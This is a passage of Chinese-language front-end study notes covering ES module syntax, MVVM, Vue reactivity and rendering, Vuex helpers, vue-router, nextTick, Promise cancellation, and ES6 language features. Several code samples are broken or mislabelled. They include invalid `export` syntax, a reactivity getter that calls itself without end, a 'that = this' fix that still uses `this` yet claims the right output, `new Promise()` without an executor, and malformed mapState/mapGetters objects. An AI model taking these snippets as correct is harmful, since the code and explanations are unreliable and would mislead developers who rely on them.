
    main.js导入:

    1
    2
    3
    import { show_alert } from './common.js';

    show_alert();

    2.2 导入时设置别名:
    common.js导出:

    1
    2
    3
    4
    5
    const showAlert = function () {
    // ***
    };

    export { showAlert };

    main.js导入:

    1
    2
    3
    import { showAlert as show_alert } from './common.js';

    show_alert();

    3、使用通配符 * 来指定一个对象,将所有的输出都挂载改对象上,通常 * 会结合 as 使用
    common.js导出:

    1
    2
    3
    4
    5
    6
    7
    export showAlert = function () {
    // ***
    };

    export showToast = function () {
    // ***
    };

    main.js导入:

    1
    2
    3
    4
    import * as common from './common.js';

    common.showAlert();
    common.showToast();

    4、建议
    当我们明确知道自己需要使用哪些依赖时,我们应该按需加载,只 import 我们需要的那些依赖,这样在打包的时候可以忽略掉其他未使用,减少文件体积。


M-V-VM

参考segmentfault MVVM框架理解及其原理实现

说起 MVVM,就不得不先说下 MVC

分成 ModelViewController,视图上发生变化,通过 Controller(控件)将响应传入到 Model(数据源),由数据源改变 View 上面的数据。MVC框架允许View和Model直接进行通信!!

但是 ViewModel 之间随着业务量的不断庞大,会出现蜘蛛网一样难以处理的依赖关系,完全背离了开发所应该遵循的“开放封闭原则”。

面对这个问题,MVVM 框架就出现了,它与 MVC 框架的主要区别有两点:
1、实现数据与视图的分离
2、通过数据来驱动视图,开发者只需要关心数据变化,DOM操作被封装了。

可以看到 MVVM 分别指 ViewModelView-ModelView 通过 View-ModelDOM Listeners 将事件绑定到 Model 上,而 Model 则通过 Data Bindings 来管理 View 中的数据,View-Model 从中起到一个连接桥的作用。

核心

  • 响应式:vue如何监听data的属性变化
    假设 data 开始是这样的:

    1
    2
    3
    4
    var obj = {
    name: 'zhangsan',
    age: 25
    }

    当执行修改操作,如下:

    1
    2
    console.log(obj.name) // 访问
    obj.age = 22; // 修改

    但是这样的操作vue本身是没有办法感知到的,那么应该如何让vue知道我们进行了访问或是修改的操作呢?
    那就要使用 Object.defineProperty

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    Object.defineProperty(obj, prop, descriptor)
    /*
    obj: 对象
    prop: 属性
    descriptor: 属性描述符
    数据描述符、存取描述符共有: configurable、enumerable
    数据描述符: value、writable
    var obj = { a: 1 }
    Object.defineProperty(obj, 'a', { value: 2 })
    存取描述符: get、set,vue的监听变化实际就是通过这个get和set实现的
    */
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var data = {
name: 'zhangsan',
age: 20
}

var key, value
for (key in data) { // 遍历data中所有的字段
(function (key) {
Object.defineProperty(data, key, {
// 当只是一个修改值时,此处写value: newValue即可
get: function () {
console.log('get', data[key]) // 监听
return data[key]
},
set: function (newVal) {
console.log('set', newVal) // 监听
data[key] = newVal
}
})
})(key)
}

通过 Object.defineProperty 将data里的每一个属性的访问与修改都变成了一个函数,在函数get和set中我们即可监听到data的属性发生了改变。

  • 模板解析:vue的模板是如何被解析的
    模板本质上是一串字符串,它看起来和 html 的格式很相像,实际上有很大的区别,因为模板本身还带有逻辑运算,比如 v-ifv-for 等等,但它最后还是要转换为 html 来显示。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <div id="app">
    <div>
    <input v-model="title">
    <button v-on:click="add">submit</button>
    </div>
    <div>
    <ul>
    <li v-for="item in list">{{item}}</li>
    </ul>
    </div>
    </div>

    模板在 vue 中必须转换为 JS 代码,原因在于:在前端环境下,只有 JS 才是一个图灵完备语言,才能实现逻辑运算,以及渲染为 html 页面。

    这里就引出了vue中一个特别重要的函数——render

    render 函数中的核心就是 with 函数。

    with: with函数将某个对象添加到作用域链的顶部,如果在 statement中有某个未使用命名空间的变量,跟作用域链中的某个属性同名,则这个变量将指向这个属性值。

    上例中使用 with 解析的过程如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    with(this){  // this 就是 vm
    return _c(
    'div',
    {
    attrs:{"id":"app"}
    },
    [
    _c(
    'div',
    [
    _c(
    'input',
    {
    directives:[
    {
    name:"model",
    rawName:"v-model",
    value:(title),
    expression:"title"
    }
    ],
    domProps:{
    "value":(title)
    },
    on:{
    "input":function($event){
    if($event.target.composing)return;
    title=$event.target.value
    }
    }
    }
    ),
    _v(" "),
    _c(
    'button',
    {
    on:{
    "click":add
    }
    },
    [_v("submit")]
    )
    ]
    ),
    _v(" "),
    _c('div',
    [
    _c(
    'ul',
    _l((list),function(item){return _c('li',[_v(_s(item))])})
    )
    ]
    )
    ]
    )
    }

    其中的 _c 函数表示的是创建一个新的html元素,其基本用法为:

    1
    _c(element,{attrs},[children...])

    其中的element表示所要创建的html元素类型,attrs表示所要创建的元素的属性,children表示该html元素的子元素。

    _v 函数表示创建一个文本节点,_l 函数表示创建一个数组。

    最终render函数返回的是一个虚拟DOM。

  • 渲染:vue模板是如何被渲染成HTML的

    模板渲染为html分为两种情况:

    1、初次渲染的时候
    2、渲染之后数据发生改变的时候

    它们都需要调用updateComponent,其形式如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    vm._update(vnode){
    const prevVnode = vm._vnode
    vm._vnode = vnode
    if (!prevVnode){
    vm.$el = vm.__patch__(vm.$el,vnode)
    } else {
    vm.$el = vm.__patch__(prevVnode,vnode)
    }
    }

    function updateComponent(){
    vm._update(vm._render())
    }

    首先读取当前的虚拟DOM——vm._vnode,判断其是否为空,若为空,则为初次渲染,将虚拟DOM全部渲染到所对应的容器当中(vm.$el),若不为空,则是数据发生了修改,通过响应式我们可以监听到这一情况,使用diff算法完成新旧对比并修改。

好处

  • 低耦合
  • 可重用
  • 独立开发
  • 易测试

Vue双向绑定原理

参考:segmentfault 剖析Vue原理&实现双向绑定MVVMvue的双向绑定原理及实现

通过 Object.defineProperty() 来劫持各个属性的setter,getter在数据变动时给订阅者发送消息,触发相应的监听回调.
Vue 会把props、data 等变成响应式对象,在创建过程中,发现子属性也为对象则会递归把该对象也变成响应式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var data = {
name: 'zhangsan',
age: 20
}

var key, value
for (key in data) { // 遍历data中所有的字段
(function (key) {
Object.defineProperty(data, key, {
get: function () {
console.log('get', data[key]) // 监听
return data[key]
},
set: function (newVal) {
console.log('set', newVal) // 监听
data[key] = newVal
}
})
})(key)
}

  1. 实现一个数据监听器 Observer,能够对数据对象的所有属性进行监听,如果有变动则拿到最新值并通知订阅者。
  2. 实现一个指令解析器 Compile,对每个元素节点的指令进行扫描和解析,根据指令模板替换数据,以及绑定相应的更新函数。添加监听数据的订阅者,一旦数据有变动,收到通知,更新视图
  3. 实现一个 Watcher,作为链接 ObserverCompile 的桥梁,能够订阅并收到每个属性变动的通知,执行指令绑定的相应回调函数,从而更新视图。

Vue生命周期(v2.0)

生命周期 表现
beforeCreate 组件实例刚被创建,组件属性计算之前,如data属性
created 组件实例创建完成,属性已绑定,但是DOM还未生成,$el属性还不存在
beforeMount 模板编译/挂载之前
mounted 模板编译/挂载之后
beforeUpdate 组件更新之前
updated 组件更新之后
activated for keep-alive,组件被激活时调用
deactivated for keep-alive,组件被移除时调用
beforeDestory 组件销毁前
destoryed 组件销毁后

Vuex原理

组件触发事件,通过 dispatch 来触发 actions 中的方法

actions 中的 commit 会触发 mutations 中的方法

mutation 就会去改变 state

state 相应到变化后,触发 Render 更新

其他的组件通过 getters 中的方法来获取 state

Store.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const store =  new Vuex.Store({
state: {
count: 0
},
// this.$store.commit('increment') 触发mutation中的方法
// state的值只能通过mutations来修改
mutations: {
increment(state) {
state.count++
}
},
// this.$store.dispatch('increment')来触发actions中的方法
actions: {
increment({commit}) {
commit("increment"); // this.$store.commit("increment") 触发mutations中的increment
}
},
// 任意组件通过 this.$store.getters.getCount来获取状态
getters: {
getCount(state) {
return state.count
}
}
})
export default store

App.vue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<template>
<div id="app">
<button @click="increment">增加</button>
<!-- 有时候不能直接 强制使用store里面的状态 this.$store.state.count -->
{{this.$store.getters.getCount}}
</div>
</template>

<script>
export default {
methods: {
increment(){
this.$store.dispatch("increment") // this.$store.dispatch("increment") 触发actions函数"increment"
}
}
}
</script>

另外,vuex 提供了 mapStatemapGettersmapActionsmapMutations 这些辅助函数

mapState 混入到某个组件的 computed 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import { mapState } from 'vuex'

export default {
// ...
computed: {
...mapState({
// 当计算属性的名字和子节点名称相同时,可直接写字符串,相当于:count: state => state.count
'count',

// 重命名
leftCount: state => state.count
})
}
]

mapGetters 混入到某个组件的 computed 中,同 mapGetters

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import { mapGetters } from 'vuex'

export default {
// ...
computed: {
...mapGetters({
// 原名
'leftCount',

// 重命名,把 `this.doneCount` 映射为 `this.$store.getters.doneTodosCount`
doneCount: 'doneTodosCount'
})
}
]

mapActions 混入到某个组件的 methods 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import { mapActions } from 'vuex'

export default {
// ...
methods: {
...mapActions({
// 把 `this.increment()` 映射为 `this.$store.dispatch('incrementAct')`
increment: 'incrementAct',

// `mapActions` 也支持载荷(参数):
// 把 `this.incrementBy(amount)` 映射为 `this.$store.dispatch('incrementBy', amount)`
'incrementBy'
})
}
}

mapMutations 混入到某个组件的 methods 中,同 mapActions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import { mapMutations } from 'vuex'

export default {
// ...
methods: {
...mapMutations({
// 把 `this.increment()` 映射为 `this.$store.dispatch('incrementAct')`
increment: 'incrementAct',

// `mapMutations` 也支持载荷(参数):
// 把 `this.incrementBy(amount)` 映射为 `this.$store.dispatch('incrementBy', amount)`
'incrementBy'
})
}
}

Q&A

  1. 为什么要先 dispatch 触发actions中的方法,再去调用 mutations 中的方法,而非一步搞定。
    mutation 必须同步执行,actions 可以异步执行。
    1
    2
    3
    4
    5
    6
    7
    actions: {
    incrementAsync ({ commit }) {
    setTimeout(() => {
    commit('increment')
    }, 1000)
    }
    }

vuex组件间通信


vue-router 原理

原理核心就是 更新视图但不重新请求页面

VueRouter包括三个主要组成部分:

  • VueRouter: 路由类,根据路由请求在路由视图中动态渲染选中的组件
  • router-link: 路由链接组件,声明用以提交路由请求的用户接口
  • router-view: 路由视图组件,负责动态渲染路由选中的组件

提供三种运行模式:

  • hash模式: 使用 URL hash 值来作路由。默认模式。
    hash即浏览器url中#后面的内容,包含#。
    #是用来指导浏览器动作的,对服务器端完全无用,HTTP请求中,不包含#。
    每一次改变#后的部分,都会在浏览器的访问历史中增加一个记录,使用”后退”按钮,就可以回到上一个位置。

  • history模式: 依赖 HTML5 History API 和服务器配置。
    history.pushState API 来完成 URL 跳转而无须重新加载页面。

  • abstract模式: 支持所有 JavaScript 运行环境,如 Node.js 服务器端
    abstract模式是使用一个不依赖于浏览器的浏览历史虚拟管理后端。
    vue-router 自身会对环境做校验,如果发现没有浏览器的 API,vue-router 会自动强制进入 abstract 模式,所以 在使用 vue-router 时只要不写 mode 配置即可,默认会在浏览器环境中使用 hash 模式,在移动端原生环境中使用 abstract 模式。 (当然,你也可以明确指定在所有情况下都使用 abstract 模式)。


Vue nextTick实现原理

在浏览器环境 nextTick 是使用 es6 的Promise来实现的,在不支持 Promise 的环境,优先使用 setImmediate,如果 setImmediate 也不支持则使用 setTimeout

setImmediate:
该方法用来把一些需要长时间运行的操作放在一个回调函数里,在浏览器完成后面的语句后,就立即执行这个回调函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// 不考虑兼容,实现一个nextTick方法
fucntion myNextTick(flushCallbacks) {
return Promise.resolve().then(() => {
flushCallbacks()
})
})

// Vue nextTick 实现
function myNextTick (flushCallbacks) {
let timerFunc
if (typeof Promise !== 'undefined'){
// 支持 Promise 的环境
const p = new Promise()
timerFunc = () => {
p.then(flushCallbacks)
}
} else if (typeof setImmediate !== 'undefined') {
// 支持 setImmediate 的环境
timerFunc = () => {
setImmediate(flushCallbacks)
}
} else {
timerFunc = () => {
setTimeout(flushCallbacks, 0)
}
}
}

function isNative (Ctor) {
return typeof Ctor === 'function' && /native code/.test(Ctor.toString())
}

Promise原理

Promise是为了解决异步编程出现的地狱回调问题而提出来的。

Promise 三种状态:pending、resolve、reject

优点:
Promise其实就是做了一件事情,它是对异步操纵进行了封装,然后可以将异步操纵以同步的流程表达出来,避免了层层嵌套的回调函数,同时提供了统一的接口,使得控制异步操纵更加容易。

缺点:

  1. 无法取消Promise,一旦被创建它就会立刻去执行,无法中途取消
  2. 如果不设置回调函数,Promise内部的错误无法反应到外部
  3. 当处于未完成状态时,无法得知目前进行到哪个状态。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const getData = new Promise((resolve, reject) => {
setTimetout(() => {
resolve({ status: 1, data: {} })
}, 1000)
})

getData
.then(res => {

})
.catch(err => {

})
.finally(() => {

})

如何手动中断呢?

原理:新增一个 promise,通过 Promise.race 进行控制,中断时控制的其实是另外一个 promise

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// Promise.race: 有一个成功即成功,有一个失败即失败

function PromiseFn (p1) {
let abort
const p2 = new Promise((resolve, reject) => {
abort = () => {
reject()
}
})

const promise = Promise.race([p1, p2])
promise.abort = abort
return promise
}

// 模拟请求花费5s时间
const request = new Promise((resolve, reject) => {
setTimeout(() => {
resolve('success')
}, 5000)
})

const promise = PromiseFn(request)
promise.then((req) => {
console.log(req)
}).catch((err) => {
console.log(err)
})

// 模拟2s后手动中断请求
setTimeout(() => {
promise.abort()
}, 2000)


html2canvas原理

它的原理是将 Dom 节点在 Canvas 里边画出来。虽然很方便,但有以下限制:

  • 不支持 iframe
  • 不支持跨域图片
  • 不能在浏览器插件中使用
  • 部分浏览器上不支持 SVG 图片
  • 不支持 Flash
  • 不支持古代浏览器和 IE

SVG和Canvas的区别

SVG

SVG 是一种使用 XML 描述 2D 图形的语言。

  • 不依赖分辨率
  • 支持事件处理器
  • 最适合带有大型渲染区域的应用程序(比如谷歌地图)
  • 复杂度高会减慢渲染速度(任何过度使用 DOM 的应用都不快)
  • 不适合游戏应用

Canvas

Canvas 通过 JavaScript 来绘制 2D 图形。

  • 依赖分辨率,逐像素进行渲染
  • 不支持事件处理器
  • 弱的文本渲染能力
  • 能够以 .png.jpg 格式保存结果图像
  • 最适合图像密集型的游戏,其中的许多对象会被频繁重绘

Canvas 通过 JavaScript 来绘制 2D 图形。
SVG 是基于形状的保留模式图形系统,更加适合较大的表面或较小数量的对象。CanvasSVG 在修改方式上还存在着不同。绘制 Canvas 对象后,不能使用脚本和 CSS 对它进行修改。因为 SVG 对象是文档对象模型的一部分,所以可以随时使用脚本和 CSS 修改它们。


es6常用语法

let、const、模板字符串、箭头函数、字符串方法、数组方法、Promise()方法、Map、Set等

let的特点

  • 只在代码块内有效
  • 不存在变量提升(只能先声明后使用)(变量提升指变量在声明之前使用,值为ReferenceError)

    1
    2
    3
    4
    5
    6
    7
    // var 的情况
    console.log(foo); // 输出undefined
    var foo = 2;

    // let 的情况
    console.log(bar); // 报错ReferenceError
    let bar = 2;
  • 不允许重复申明(不允许在相同作用域内重复声明同一个变量)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    // 报错
    function () {
    let a = 10;
    var a = 1;
    }

    // 报错
    function () {
    let a = 10;
    let a = 1;
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    function func(arg) {
    let arg; // 报错
    }

    function func(arg) {
    {
    let arg; // 不报错
    }
    }
  • let新增块级作用域

const的特点

  • const声明一个只读的常量,一旦声明,常量的值就不能改变

    1
    2
    3
    4
    5
    const PI = 3.1415;
    PI // 3.1415

    PI = 3;
    // TypeError: Assignment to constant variable.
  • const一旦声明变量,就必须立即初始化,不能等到以后赋值

    1
    2
    const foo;
    // SyntaxError: Missing initializer in const declaration
  • 只在声明所在的块级作用域内有效

    1
    2
    3
    4
    5
    if (true) {
    const MAX = 5;
    }

    MAX // Uncaught ReferenceError: MAX is not defined
  • 不存在变量提升

  • 只能先声明后使用
  • 不允许重复声明
  • 对于复合类型的变量,变量名不指向数据,而是指向数据所在的地址。即const命令只是保证变量名指向的地址不变,而不是保证数据不变,所以使用const声明为常量必须小心。

    1
    2
    3
    4
    5
    const foo = {};
    foo.prop = 123;
    foo.prop
    // 123
    foo = {}; // TypeError: "foo" is read-only

    常量foo存储的是一个地址,这个地址指向一个对象。所谓不可变的是这个地址,不能把foo指向另一个地址,但是该对象本身是可变的,可以为这个对象添加新属性等

箭头函数和普通函数的区别

参考:简书 ES6箭头函数与普通函数的区别

  • this指向问题

    1、普通函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    var a  = 3;
    var obj = {
    a : 1,
    foo : function(){
    console.log(this, this.a);
    }
    }
    obj.foo(); // 1

    var bar = obj;
    bar.a = 2;
    bar.foo(); // 2

    var baz = obj.foo;
    baz(); // 3

    1.)直接通过 obj 调用其中的方法 foo,此时,this 就会指向调用 foo 函数的对象,也就是 obj;
    2.)将 obj 对象赋给一个新的对象 bar,此时通过 bar 调用 foo 函数,this 的值就会指向调用者 bar
    3.)将 obj.foo 赋给一个新对象 baz,通过 baz() 调用 foo 函数,此时的 this 指向 window

    由此我们可以得出结论:

    普通函数的 this 总是指向它的直接调用者。
    在严格模式下,没找到直接调用者,则函数中的 thisundefined
    在默认模式下(非严格模式),没找到直接调用者,则函数中的 this 指向 window

    再考虑一下以下的情况:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    var obj = {
    a : 1,
    foo : function(){
    setTimeout(function(){
    console.log(this.a);
    }, 3000);
    }
    };
    obj.foo(); //undefined

    在上例中 setTimeout 中的 function 未被任何对象调用,因此它的 this 指向还是 window 对象。

    对于方法(即通过对象调用了该函数),普通函数中的 this 总是指向它的调用者。
    对于一般函数,this 指向全局变量(非严格模式下)或者 undefined(严格模式下)。

    假设我么需要在上例中的 setTimeout 中使用 this 要怎么做呢,在 es5 的时代可以这样做:
    1.)使用一个变量 that 先接收一遍 this

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    var obj = {
    a : 1,
    foo : function(){
    var that = this; // 先使用一个变量接收this
    setTimeout(function(){
    console.log(this.a);
    }, 3000);
    }
    };
    obj.foo(); // 1

    2.)使用 bindsetTimeout 绑定 this

    1
    2
    3
    4
    5
    6
    7
    8
    9
    var obj = {
    a : 1,
    foo : function(){
    setTimeout(function(){
    console.log(this.a);
    }.bind(this), 3000);
    }
    };
    obj.foo(); // 1

    es6 可以如何实现这块呢,请继续往下看:

    2、箭头函数

    1
    () => { console.log(this) }

    箭头函数中没有自己的 thisargumentsnew target(ES6)super(ES6);
    箭头函数相当于匿名函数,因此不能使用 new 来作为构造函数使用。
    箭头函数中的 this 始终指向其父级作用域中的 thiscall()apply()bind() 都无法改变 this 指向

    请看如下代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    var obj = {
    a: 10,
    b: () => {
    console.log(this.a); // undefined
    console.log(this); // Window {postMessage: ƒ, blur: ƒ, focus: ƒ, close: ƒ, frames: Window, …}
    },
    c: function() {
    console.log(this.a); // 10
    console.log(this); // {a: 10, b: ƒ, c: ƒ, d: ƒ}
    },
    d: function(){
    console.log(this.a); // 10
    console.log(this); // {a: 10, b: ƒ, c: ƒ, d: ƒ}
    return () => {
    console.log(this.a); // 10
    console.log(this); // {a: 10, b: ƒ, c: ƒ, d: ƒ}
    }
    },
    }
    obj.b();
    obj.c();
    obj.d()();

    obj.b() 中的 this 会继承父级上下文中的 this 值,也就是与 obj 有相同的 this 指向,为全局变量 window;
    obj.c()this 指向即为调用者 obj;
    obj.d()() 中的 this 也继承自父级上下文中的 this,即d的 this 指向,也就是 obj

  • 参数
    1、示例

    普通函数可以使用 arguments 来获取不定参数,输出的是一个数组,如

    1
    2
    3
    4
    function funcA(a) {
    console.log(arguments); // output: Arguments(3) [1, 2, 3, callee: ƒ, Symbol(Symbol.iterator): ƒ]
    }
    funcA(1, 2, 3);

    es6 提供了 rest 方式来获取,即 ... 符号,如:

    1
    2
    3
    4
    const funcB = (...params) => {
    console.log(params); // output: [1, 2, 3]
    }
    funcB(1, 2, 3);
    1
    2
    3
    4
    const funcC = (a, ...params) => {
    console.log(params); // output: [2, 3]
    }
    funcC(1, 2, 3);
    1
    2
    3
    4
    const funcC = (a, ...params, b) => {
    console.log(params); // output: Rest parameter must be last formal parameter
    }
    funcC(1, 2, 3);

    2、区别:
    1.) arguments 包含所有参数,rest 参数只包括那些没有给出名称的参数(前面的参数展示 m 个,reset 就占 n - m 个)
    2.)arguments 对象不是真正的数组,而 rest 参数是数组实例,可以直接应用 sortmapforEachpop等方法
    3.)将 arguments 转换成普通的数组

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    function funcD(a, b) {
    console.log(arguments); // [1, 2, callee: ƒ, Symbol(Symbol.iterator): ƒ]

    // arguments作为参数传给Array的concat方法: [].concat(arguments)
    console.log([].concat.apply([], arguments))
    console.log(Array.prototype.concat.apply([], arguments))

    // arguments调用Array的slice方法: arguments.slice()、arguments.slice(0)
    console.log([].slice.call(arguments))
    console.log(Array.prototype.slice.call(arguments))

    console.log([].slice.call(arguments, 0))
    console.log(Array.prototype.slice.call(arguments, 0))

    // 全部输出 [1, 2]
    }
    funcD(1,2)

使用Promise自己封装一个Ajax插件

我们知道 Promise 会接收两个参数,resolve (成功)和 reject (失败),我们可以用这两个参数代替 ajaxsuccesserror,并使用链式调用, then 里面执行成功的操作,catch里面执行错误的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
const $ajax = function(url, data) {
return new Promise((resolve, reject) => {
// 创建 XMLHttpRequest对象,用于在后台与服务器交换数据。
let request = new XMLHttpRequest()
//设置向服务器提交的方式
request.open("GET", url, true)
request.responseType = 'json'
request.setRequestHeader("Accept", "application/json")
// onreadystatechange捕获事件请求的状态
request.onreadystatechange = function handlerRequest() {
//readyState为4的时候,代表请求操作已经完成,这意味着数据传输已经彻底完成或失败。
if (this.readyState === 4) {
//请求成功
if (this.status === 200) {
resolve(this.response)
} else {
reject(new Error(this.statusText))
}
}
}
//发送 HTTP 请求,默认异步请求
request.send(data); // data的格式: name1=value1&name2=value2
})
}


$ajax("http://www.phonegap100.com/appapi.php?a=getPortalList&catid=20&page=1", '')
.then((resolve) => {
console.log(resolve)
})
.catch((reject) => {
console.log(reject)
});

常用的字符串方法

  • at(): 返回给定字符的位置

    1
    2
    var s = 'Hello world!';
    s.at(0) // H
  • includes(): 是否包含指定字符串,第二个参数可选,表示起始查找位置

  • startsWith(): 参数是否在头部,第二个参数可选,表示起始查找位置
  • endsWith(): 参数是否在尾部,第二个参数可选,表示起始查找位置

    1
    2
    3
    4
    5
    6
    7
    8
    9
    var s = 'Hello world!';
    s.startsWith('Hello') // true
    s.endsWith('!') // true
    s.includes('o') // true

    var s = 'Hello world!';
    s.startsWith('world', 6) // true
    s.endsWith('Hello', 5) // true
    s.includes('Hello', 6) // false
  • repeat(): 返回重复多次后的字符串

    1
    2
    3
    4
    5
    6
    7
    8
    var s = 'Hello'
    s.repeat(3) // HelloHelloHello
    s.repeat(2.9) // HelloHello,参数为小数时为取整次数
    s.repeat(Infinity) // 报错
    s.repeat(-1) // 报错
    s.repeat(-0.8) // "",-1~0取整后为0
    s.repeat("2") // HelloHell0,字符串先转换成数字再取整
    s.repeat("world") // ""
  • padStart(): 头部补全,第一参数表示字符串长度,第二参数可选,表示替补的字符串,如无,以空格替补

  • padEnd(): 尾部补全,第一参数表示字符串长度,第二参数可选,表示替补的字符串,如无,以空格替补

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    var s = 'x'
    s.padStart(5, 'ab') // 'ababx'
    s.padStart(4, 'ab') // 'abax'
    s.padStart(4, 'abcdefg') // 'abcx' ,多余的会被去掉
    s.padEnd(5, 'ab') // 'xabab'
    s.padEnd(4, 'ab') // 'xaba'
    s.padEnd(4, 'abcdefg') // 'xabc' ,多余的会被去掉

    var s = 'xxxx'
    s.padStart(2, 'ab') // 'xxxx',当设置的字符串长度小于原本长度,返回原字符串
    s.padEnd(4, 'ab') // 'xxxx' ,当设置的字符串长度小于原本长度,返回原字符串

    var s = 'x'
    s.padStart(3) // ' x'
    s.padEnd(4) // 'x '

    常用来补全位数:
    '10'.padStart(10, '0') // "0000000010"
  • 模板字符串

常用的数组方法

  • Array.from():将两类对象(类似数组的对象和可遍历的对象)转为真正的数组

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    let arrayLike = {
    '0': 'a',
    '1': 'b',
    '2': 'c',
    length: 3
    };

    // ES5的写法:
    var arr1 = [].slice.call(arrayLike); // ['a', 'b', 'c']

    // ES6的写法:
    let arr2 = Array.from(arrayLike); // ['a', 'b', 'c']
  • Array.of():将一组值转换成数组

    1
    2
    3
    4
    5
    6
    7
    8
    9
    Array.of(3, 11, 8) // [3,11,8]

    Array.of(3) // [3]

    Array.of(3).length // 1

    Array.of() // []

    Array.of(undefined) // [undefined]
  • copyWithin():将指定位置的成员复制到其他位置(会覆盖原有成员),然后返回当前数组
    Array.prototype.copyWithin(target, start = 0, end = this.length)

    target(必需):从该位置开始替换数据。

    start(可选):从该位置开始读取数据,默认为0。如果为负值,表示倒数。

    end(可选):到该位置前停止读取数据,默认等于数组长度。如果为负值,表示倒数。正从0开始,负从-1开始。

    这三个参数都应该是数值,如果不是,会自动转为数值。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    [1, 2, 3, 4, 5].copyWithin(0, 3)  // [4, 5, 3, 4, 5]
    // 从3号位直到数组结束的成员(4和5),复制到从0号位开始的位置,结果覆盖了原来的1和2

    [1, 2, 3, 4, 5].copyWithin(0, 3, 4) // [4, 2, 3, 4, 5]
    // 将3号位复制到0号位

    [1, 2, 3, 4, 5].copyWithin(0, -2, -1) // [4, 2, 3, 4, 5]
    // -2相当于3号位,-1相当于4号位

    [].copyWithin.call({length: 5, 3: 1}, 0, 3) // {0: 1, 3: 1, length: 5}
    // 将3号位复制到0号位

    var i32a = new Int32Array([1, 2, 3, 4, 5]); i32a.copyWithin(0, 2); // Int32Array [3, 4, 5, 4, 5]
    // 将2号位到数组结束,复制到0号位

    // 对于没有部署TypedArray的copyWithin方法的平台

    // 需要采用下面的写法:

    [].copyWithin.call(new Int32Array([1, 2, 3, 4, 5]), 0, 3, 4); // Int32Array [4, 2, 3, 4, 5]
  • find():用于找出第一个符合条件的数组成员

    1
    2
    3
    4
    5
    6
    7
    [1, 4, -5, 10, -1].find((n) => n < 0) // -5
    // 找出数组中第一个小于0的成员,-1布什第一个,不返回。

    [1, 5, 10, 15].find(function(value, index, arr) {
    return value > 9;
    }) // 10
    // 找出大于9的,15不是第一个,不返回
  • findIndex():返回第一个符合条件的数组成员的位置,如果所有成员都不符合条件,则返回-1

    1
    2
    3
    4
    5
    6
    7
    [1, 5, 10, 15].findIndex(function(value, index, arr) {  
    return value > 9;
    }) // 2

    [NaN].indexOf(NaN) // -1

    [NaN].findIndex(y => Object.is(NaN, y)) // 0
  • fill():使用给定值,填充一个数组
    第二个参数(可选)表示替换起始位置,第三个参数(可选),表示结束位置

    1
    2
    3
    4
    5
    ['a', 'b', 'c'].fill(7) // [7, 7, 7]

    new Array(3).fill(7) // [7, 7, 7]

    ['a', 'b', 'c'].fill(7, 1, 2) // ['a', 7, 'c']
  • includes():是否包含指定元素,es7语法,babel转换器已支持
    第二个参数可选,表示指定搜索起始位置,从起始位置到结尾,默认为0,负数表示倒数;当大于数组长度,会重置为从0开始

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    [1, 2, 3].includes(2);     // true

    [1, 2, 3].includes(4); // false

    [1, 2, NaN].includes(NaN); // true


    [1, 2, 3].includes(3, 3); // false

    [1, 2, 3].includes(3, -1); // true


    [1, 2, 3].includes(2, 0); // true

    [1, 2, 3].includes(2, 1); // true

    [1, 2, 3].includes(2, 2); // false

    [1, 2, 3].includes(2, 3); // false


    [1, 2, 3].includes(2, -1); // false

    [1, 2, 3].includes(2, -2); // true

    [1, 2, 3].includes(2, -3); // true

    [1, 2, 3].includes(2, -4); // true

Map

含义和基本用法
JavaScript 的对象(Object),本质上是键值对的集合(Hash 结构),但是传统上只能用字符串当作键。这给它的使用带来了很大的限制。

为了解决这个问题,ES6 提供了 Map 数据结构。它类似于对象,也是键值对的集合,但是“键”的范围不限于字符串,各种类型的值(包括对象)都可以当作键。也就是说,Object 结构提供了“字符串—值”的对应,Map 结构提供了“值—值”的对应,是一种更完善的 Hash 结构实现。如果你需要“键值对”的数据结构,MapObject 更合适。

1
2
3
4
5
6
7
8
9
const m = new Map();
const o = {p: 'Hello World'};

m.set(o, 'content')
m.get(o) // "content"

m.has(o) // true
m.delete(o) // true
m.has(o) // false

作为构造函数,Map 也可以接受一个数组作为参数。该数组的成员是一个个表示键值对的数组。

1
2
3
4
5
6
